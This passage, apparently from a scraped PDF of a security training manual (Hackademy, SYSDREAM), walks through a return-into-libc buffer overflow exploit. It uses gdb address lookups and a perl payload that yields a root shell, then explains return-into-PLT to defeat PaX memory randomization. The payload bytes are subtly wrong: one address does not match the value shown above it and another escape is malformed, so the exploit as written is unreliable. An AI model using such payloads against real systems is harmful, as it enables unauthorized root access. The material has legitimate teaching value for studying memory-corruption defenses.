Hack Security Pro.pdf - Index of

The we can look in libc6 for the addresses of the two functions that are of interest to us:
(gdb) x system
0x40062980 : 0x83e58955
(gdb) x exit
0x4004da30 : 0x57e58955
We must still determine the address of a /bin/sh in memory:
$./srch
"/bin/sh" found at: 0x4014273d
All we have to do now is to overwrite EIP with the addresses found:
0x40062980
0x4004da30
Do not forget that in little endian, we fill the stack, and therefore the addresses as well, from the bottom
up:
$./vuln1 `perl -e 'print "A" x 524 . "\x80\x29\x06\x40" . "\x30\x04\xda\x30" . "\x3dd\x27\x14\x40"'`
sh-2.05b#
H) Return into .PLT
PaX and the randomization of memory
A second protection has been put into place in order to prevent the problem of bypassing through
return into glibc. The idea is to randomize the basic address or libc and to map the other lib into
memory. As the functions are always defined in relative value, that is related to an offset, that we will
add to the basic libc address. We can no longer determine the address of the library which will be
randomized each time, so we can longer determine the addresses of the functions we are interested
in. So we will use a Return into PLT type exploitation to bypass this protection.
Exploitation
The PLT Section: Each function that has previously been called in the program will be referenced in
this section. Each entry will make it possible, among other things, to jump onto the .got address
containing the absolute address of the called function.
If a function we are interested in has been previously called in the program, it will be referenced in the
PLT. As this section is never randomized in memory, we can simply determine the function's entry in
the .PLT in order to jump onto this address, which will make us jump on to its address in libc6.
The Hackademy DMP -149/209- SYSDREAM